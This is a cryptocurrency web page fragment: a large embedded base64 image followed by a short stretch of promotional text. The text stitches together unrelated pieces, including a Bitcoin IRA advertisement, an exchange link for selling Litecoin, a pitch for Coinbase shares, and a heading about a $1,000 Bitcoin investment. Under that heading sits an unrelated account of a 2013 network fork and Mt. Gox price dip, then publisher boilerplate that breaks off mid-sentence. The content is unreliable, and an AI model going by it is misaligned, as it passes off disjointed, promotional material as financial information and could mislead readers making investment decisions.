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" width="302px%" alt="bitcoin price 100"/><br />
On top of this, most people who use cryptocurrency-related services worldwide are retail clients rather than institutional investors. This means outlooks on whether Bitcoin prices will fall or grow are difficult to measure, as movements from one large whale already having a significant impact on this market. Bitcoin IRA, available atbitcoinira.com, is the world&#8217;s first, largest, and most secure digital asset IRA technology platform that allows users to purchase cryptocurrencies and physical gold for their self-directed retirement accounts. Read more about <a href="https://www.beaxy.com/buy-sell/ltc-btc/">Sell LTC</a> here. Nonetheless, much of this is an argument for holding cryptocurrencies themselves, so why would investors want to buy shares in a crypto exchange instead?. It is a way of tapping into the huge rise in this market without actually buying cryptocurrencies directly. For investors who worry about the high volatility in crypto prices, as well as the fact that it can be stressful trying to store cryptocurrencies safely, Coinbase could be an attractive alternative. This might particularly appeal to financial institutions like pension funds that take a very conservative approach to investing. Scarcity and increased demand could help bitcoin stay dominant.</p>
<h2 id="toc-2">Here&#8217;s How Much Money You&#8217;d Have If You Invested $1,000 In Bitcoin 1, 5 And 10 Years Ago</h2>
<p>For six hours two bitcoin networks operated at the same time, each with its own version of the transaction history. The core developers called for a temporary halt to transactions, sparking a sharp sell-off. Normal operation was restored when the majority of the network downgraded to version 0.7 of the bitcoin software. The Mt. Gox exchange briefly halted bitcoin deposits and the exchange rate briefly dipped by 23% to $37 as the event occurred before recovering to previous level of approximately $48 in the following hours. The leader in news and information on cryptocurrency, digital assets and the future of money, CoinDesk is a media outlet that strives for the highest journalistic standards and abides by a strict set of editorial policies. CoinDesk is an independent operating subsidiary of 